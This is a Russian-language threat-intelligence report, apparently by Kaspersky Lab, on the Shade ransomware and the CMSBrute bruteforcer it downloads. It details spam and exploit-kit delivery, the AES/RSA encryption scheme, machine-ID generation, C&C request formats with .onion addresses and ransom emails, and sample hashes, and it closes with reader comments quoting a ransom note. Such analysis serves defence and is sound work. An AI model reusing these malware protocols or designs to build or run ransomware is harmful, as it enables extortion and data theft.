Шифровальщик Shade: двойная угроза

Содержание 

Семейство троянцев-вымогателей, шифрующих файлы и добавляющих к ним расширения «.xtbl» и «.ytbl», появилось в конце 2014 – начале 2015 года и довольно быстро заняло устойчивую позицию в тройке наиболее распространенных в России шифровальщиков (наравне с Trojan-Ransom.Win32.Cryakl и Trojan-Ransom.BAT.Scatter). По классификации «Лаборатории Касперского» эта угроза получила вердикт Trojan-Ransom.Win32.Shade. «Авторское» название данного шифровальщика неизвестно; другие антивирусные компании детектируют его под именами Trojan.Encoder.858, Ransom:Win32/Troldesh.

Эволюции троянца практически не наблюдается: меняются лишь формат имени зашифрованного файла, адреса C&C и набор ключей RSA.

Нам известны два основных способа доставки данного зловреда на компьютер жертвы – спам-рассылки и эксплойт-киты (в частности, Nuclear EK).

В первом случае жертва получает письмо, в которое вложен исполняемый вредоносный файл. Заражение системы происходит после попытки открыть вложение. При распространении Trojan-Ransom.Win32.Shade использовались следующие имена файлов:

  • doc_dlea podpisi.com
  • doc_dlea podpisi.rar
  • documenti_589965465_documenti.com
  • documenti_589965465_documenti.rar
  • documenti_589965465_doc.scr
  • doc_dlea podpisi.rar
  • не подтвержден 308853.scr
  • documenti dlea podpisi 05.08.2015.scr.exe
  • akt sverki za 17082015.scr

Отметим, что имя файла меняется при каждой волне рассылки, и возможные варианты не ограничиваются перечисленными выше.

Второй способ распространения (эксплойт-кит) более опасен, поскольку заражение происходит без участия пользователя, когда жертва посещает скомпрометированный веб-сайт. Это может быть как сайт злоумышленников, так и вполне легальный, но взломанный ресурс. Чаще всего пользователь не знает, что сайт представляет собой какую-то опасность. Вредоносный код на сайте эксплуатирует уязвимость в браузере или его плагинах, после чего в скрытном режиме в систему устанавливается целевой троянец. В этом случае, в отличие от спам-письма, от жертвы даже не требуется запускать исполняемый файл.

После того как Trojan-Ransom.Win32.Shade попал в систему, он соединяется с C&C, располагающимся в сети Tor, рапортует о заражении и запрашивает открытый ключ RSA-3072, который впоследствии использует при шифровании файлов (как именно, рассмотрим ниже). Если вдруг соединение не удалось установить, зловред выбирает один из 100 открытых ключей, содержащихся в его теле как раз для такого случая.

Затем троянец приступает к шифрованию файлов. При поиске объектов шифрования он пользуется статическим списком расширений, представленным на скриншоте.

Шифровальщик Shade: двойная угроза

Когда шифрование завершено, на рабочий стол устанавливается устрашающая картинка:

Шифровальщик Shade: двойная угроза

Требования выкупа зловред оставляет в файлах README1.txt, …, README10.txt. Их содержимое всегда имеет один и тот же вид:

Шифровальщик Shade: двойная угроза

Однако, в отличие от большинства других шифровальщиков, на этом Trojan-Ransom.Win32.Shade не останавливается. Он не завершает свой процесс, а запускает бесконечный цикл, в котором запрашивает от C&C список адресов вредоносного ПО, а затем скачивает и устанавливает это ПО в систему – такой функционал характерен для ботов-загрузчиков. Нами были выявлены факты скачивания представителей семейств:

  • Trojan.Win32.CMSBrute (о нём подробнее мы расскажем ниже).
  • Trojan.Win32.Muref
  • Trojan.Win32.Kovter
  • Trojan-Downloader.Win32.Zemot

Код цикла скачивания и ожидания:

Шифровальщик Shade: двойная угроза

В связи с этим очень важно провести полную антивирусную проверку компьютера в случае обнаружения шифровальщика Shade (либо результатов его работы – файлов с расширениями .xtbl, .ytbl). Если не провести лечение, высока вероятность того, что система останется заражена несколькими различными вредоносными программами, скачиваемыми данным шифровальщиком.

Общие черты троянцев семейства Shade

  • Написан на C++ с применением STL и собственных классов.
  • Статически слинкован с клиентом Tor.
  • Использует библиотеки boost (threads), curl, OpenSSL.
  • В каждый сэмпл зашит адрес одного сервера C&C, всего в разных образцах были найдены адреса 10 C&C серверов, 8 из которых активны в настоящее время. Все серверы расположены в сети Tor.
  • Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
  • Перед установкой своих обоев сохраняет старые обои в реестре.
  • Обычно упакован UPX и дополнительным упаковщиком, в распакованном виде имеет размер 1817 КБ.
  • На зараженном компьютере создает 10 одинаковых файлов README1.txt, … README10.txt с требованиями выкупа на русском и английском языках.
  • Для шифрования содержимого каждого файла и имени каждого файла генерируется уникальный 256-битный ключ AES, шифрование осуществляется в режиме CBC с нулевым начальным вектором.
  • Содержит 100 публичных ключей RSA-3072 с открытой экспонентой 65537 (всего в разных сэмплах было обнаружено 300 различных публичных ключей).
  • Имеет функционал скачивания и запуска вредоносного ПО.

Криптографическая схема

Генерация id зараженного компьютера

  1. Троянец получает имя компьютера (comp_name) с помощью API-функции GetComputerName и число процессоров (num_cpu) с помощью API-функции GetSystemInfo;
  2. на основе серийного номера системного тома вычисляет 32-битную константу и конвертирует в hex-строку (vol_const);
  3. получает данные о версии ОС (os_version), разделенные символом “;” (например, “5;1;2600;1;Service Pack 3”);
  4. формирует строку comp_namenum_cpuvol_constos_version;
  5. вычисляет MD5 от этой строки;
  6. конвертирует MD5-хэш в hex-строку и берет из нее первые 20 символов. Полученный результат используется в качестве id компьютера.

Получение ключевых данных

После генерации id осуществляется попытка подключиться с C&C серверу, находящемуся в сети Tor, отправить ему id компьютера и в ответ получить публичный RSA-ключ. В случае неуспеха выбирается один из 100 зашитых в троянце публичных RSA-ключей.

Шифрование файлов

Для шифрования файлов применяется алгоритм AES-256 в режиме CBC. Для каждого кодируемого файла генерируется два случайных 256-битных ключа AES: один используется для шифрования содержимого файла, второй – для шифрования имени файла. Данные ключи помещаются в служебную структуру key_data, которая сама шифруется выбранным ключом RSA (занимает 384 байта после зашифрования) и помещается в конец кодируемого файла:

Шифровальщик Shade: двойная угроза

В синтаксисе языка C данную структуру можно записать следующим образом:

Шифровальщик Shade: двойная угроза

Троянец пытается переименовать закодированный файл, выбирая в качестве нового имени результат вычисления Base64(AES_encrypt(оригинальное имя файла)).xtbl (например, ArSxrr+acw970LFQw.xtbl), а в случае неуспеха просто дописывает к оригинальному имени файла расширение .ytbl. В более поздних версиях перед расширением .xtbl стал приписываться id зараженного компьютера, например: ArSxrr+acw970LFQw.043C17E72A1E91C6AE29.xtbl.

Коммуникация с командным сервером

В теле троянца содержится адрес одного сервера C&C. Сами серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.

Сэмпл отправляет следующие запросы на C&C сервер:

  1. Запрос нового публичного ключа RSA:
    GET http://<server>.onion/reg.php?i=ID&b=build&v=version&ss=stage
    ID – идентификатор зараженного компьютера;
    build – идентификатор конкретного сэмпла зловреда;
    version – версия зловреда, были встречены версии 1 и 2;
    stage обозначает этап шифрования – запрос нового публичного ключа RSA или сообщение о завершении шифрования файлов.

  2. Сообщение об ошибке:
    GET http://<server>.onion/err.php?i=ID&b=build&v=version&err=error
    error – base64-закодированное сообщение о произошедшей при шифровании ошибке.

  3. Сводка о текущей стадии работы шифровальщика:
    GET http://<server>.onion/prog.php?i=ID&b=build&v=version&ss=stage&c=count&f=finish
    count – текущее количество зашифрованных файлов;
    finish – флаг окончания шифрования.

  4. Информация о системе:
    POST http://<server>.onion/sys.php?i=ID&b=build&v=version&ss=stage&c=count&k=key_number&si=info
    key_number – номер выбранного ключа RSA (в случае, если ключ не был получен от сервера, а был выбран из содержащихся в теле зловерда);
    info – информация, полученная с зараженного компьютера:

    • Имя компьютера
    • Имя пользователя
    • IP-адрес
    • Домен компьютера
    • Список логических дисков
    • Версия ОС Windows
    • Список установленного ПО
  5. Запрос списка URL-адресов, с которых требуется скачать и запустить дополнительное вредоносное ПО:
    GET http://<server>.onion/cmd.php?i=ID&b=build&v=version

Распространение шифровальщика

Партнерская программа

Код, который пользователям предлагается отправить по электронной почте злоумышленникам, может иметь вид ID|0 в случае, если публичный ключ был получен с C&C сервера, или ID|key_number|build|version в случае, если был выбран один из зашитых в сэмпл публичных ключей RSA с номером key_number. ID обозначает идентификатор зараженного компьютера, а два числа build и version обозначают ID конкретного сэмпла и версию шифровальщика соответственно.

При анализе образцов зловреда нами были обнаружены различные комбинации значений build, адресов почты для связи пользователей со злоумышленниками и адресов C&C. Разным значениям build соответствуют разные почтовые адреса, при этом один и тот же C&C может обслуживать несколько разных сэмплов:

build C&C email
2 a4yhexpmth2ldj3v.onion files1147@gmail.com
post100023@gmail.com
2 a4yhexpmth2ldj3v.onion decode0987@gmail.com
decode098@gmail.com
4 a4yhexpmth2ldj3v.onion decodefile001@gmail.com
decodefile002@gmail.com
6 a4yhexpmth2ldj3v.onion files08880@gmail.com
files08881@gmail.com
2 e4aibjtrguqlyaow.onion decodefiles1@gmail.com
decodefiles@india.com
15 e4aibjtrguqlyaow.onion post8881@gmail.com
post24932@gmail.com
12 gxyvmhc55s4fss2q.onion decode00001@gmail.com
decode00002@gmail.com
14 gxyvmhc55s4fss2q.onion decode010@gmail.com
decode1110@gmail.com
4 gxyvmhc55s4fss2q.onion deshifrovka01@gmail.com
deshifrovka@india.com

Мы зафиксировали распространение разных сэмплов двух версий шифровальщика. При этом каждому конкретному образцу одной и той же версии зловреда соответствовала уникальная комбинация build-email (ID конкретного сэмпла и адреса для связи со злоумышленниками).

Хотя объявлений о партнерстве найдено не было, на основе этих данных мы можем предположить, что распространение троянца и прием выкупа осуществляются через партнерскую сеть. Вероятно, ID сэмплов (значение build) и разные почтовые адреса соответствуют различным партнерам-распространителям данного вредоносного ПО.

География

Наиболее распространены случаи заражения данным троянцем на территории России, Украины и Германии. По данным KSN, география распространения Trojan-Ransom.Win32.Shade выглядит следующим образом.

Шифровальщик Shade: двойная угроза

Россия 70,88%
Германия 8,42%
Украина 6,48%
Австрия 3,91%
Швейцария 2,98%
Польша 1,45%
Казахстан 1,20%
Белоруссия 1,07%
Бразилия 0,55%

Загружаемое вредоносное ПО: троянец-брутфорсер паролей к веб-сайтам

Среди вредоносных программ, которые скачивает Trojan-Ransom.Win32.Shade, встречается троянец-брутфорсер паролей к web-сайтам. По своей внутренней организации брутфорсер очень напоминает самого шифровальщика – наиболее вероятно, он является проектом тех же авторов. Скачиваемый зловред получил вердикт Trojan.Win32.CMSBrute.

Общие черты семейства CMSBrute

  • Написан на C++ с применением STL и собственных классов.
  • Статически слинкован с клиентом Tor.
  • Использует библиотеки boost (threads), curl, OpenSSL.
  • В каждый сэмпл зашит адрес одного сервера C&C, всего в разных сэмплах были найдены адреса трех C&C серверов. Все C&C находятся в сети Tor, они отличаются от адресов, встреченных в образцах Trojan-Ransom.Win32.Shade.
  • Все строки (вместе с именами импортируемых функций) зашифрованы алгоритмом AES, расшифровываются при старте программы, после чего происходит динамическое заполнение таблицы импорта.
  • Обычно упакован UPX, в распакованном виде имеет размер 2080-2083 КБ.
  • Копирует себя в одну из директорий диска C с именем csrss.exe.
  • Скачивает дополнительные dll-плагины. Плагины содержат код для определения установленной системы управления контентом (CMS) на атакуемом веб-сайте, поиска админ-панели и подбора паролей. Были обнаружены плагины, поддерживающие сайты на основе Joomla, WordPress и DataLife Engine.

Коммуникация с командным сервером

В каждом образце Trojan.Win32.CMSBrute содержится адрес одного сервера C&C. Серверы находятся в сети Tor, коммуникация с ними осуществляется с использованием статически прилинкованного к троянцу клиента Tor.

Сэмпл отправляет следующие запросы на C&C сервер:

  1. Регистрация нового бота:
    GET http://<server>.onion/reg.php?n=ID&b=build&v=version&sf=stage
    ID – идентификатор зараженного компьютера; вычисляется по алгоритму, незначительно отличающемуся от такового в шифровальщике Shade;
    build – идентификатор конкретного сэмпла зловреда; был встречен только build 1;
    version – версия зловреда; была встречена только версия 1;
    stage – этап работы троянца.

  2. Запрос на получение URL-адресов для скачивания или обновления плагинов-dll
    GET http://<server>.onion/upd.php?n=ID&b=build&v=version&p=plugins

  3. Запрос задания на определение CMS на сайте и проверки логинов и паролей:
    GET http://<server>.onion/task.php?n=ID&b=build&v=version&p=plugins
    plugins – версии установленных плагинов-dll.
    Ответ от сервера приходит в формате json и содержит адреса атакуемых сайтов и словарь для подбора паролей.

  4. Отправка отчета о брутфорсе:
    POST http://<server>.onion/rep.php?n=ID&b=build&v=version&rep=report
    report – json-строка, содержащая отчет о найденных СMS на веб-сайте и подобранных логинах и паролях от админ-панели.

Рекомендации

В случае Trojan-Ransom.Win32.Shade актуальны все ставшие уже традиционными советы по противодействию шифровальщикам. Подробные инструкции можно найти по адресам:
https://support.kaspersky.ru/12015#block2
https://support.kaspersky.ru/viruses/common/10952

Если компьютер уже пострадал от данного троянца, чрезвычайно важно провести полное сканирование и лечение антивирусным продуктом, т.к. Trojan-Ransom.Win32.Shade скачивает и устанавливает в скомпрометированную систему вредоносное ПО нескольких различных семейств, указанных в начале статьи.

Приложение

При подготовке статьи исследованы следующие образцы:

Вердикт MD5
Trojan-Ransom.Win32.Shade.ub 21723762c841b2377e06472dd9691da2
Trojan-Ransom.Win32.Shade.ui bb159b6fe30e3c914feac5d4e1b85a61
Trojan.Win32.CMSBrute.a 543d1620ce976cb13fec190ccc1bc83a

Related Articles

Всего комментариев: 4
  1. mike 1

    Возможно есть и третий способ заражения этим шифровальщиком, а именно через Adware.

  2. fedor

    помогите пожалуйста расшифровать! Ваши файлы были зашифрованы.
    Чтобы расшифровать их, Вам необходимо отправить код:
    7F5A9235A2E5DA29715F|0
    на электронный адрес files100005@gmail.com или files100006@gmail.com .
    Далее вы получите все необходимые инструкции.
    Попытки расшифровать самостоятельно не приведут ни к чему, кроме безвозвратной потери информации.

  3. Александр

    Вчера получил такое письмо, было написано что-то типо — Вы не оплатили товар, и был приложен файл в архиве 9098oplata.gz. Файл- 9098oplata.scr. Будьте бдительны! Антивирус сразу не заорал что это вирус, только после того как я его отправил на проверку вручную…

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *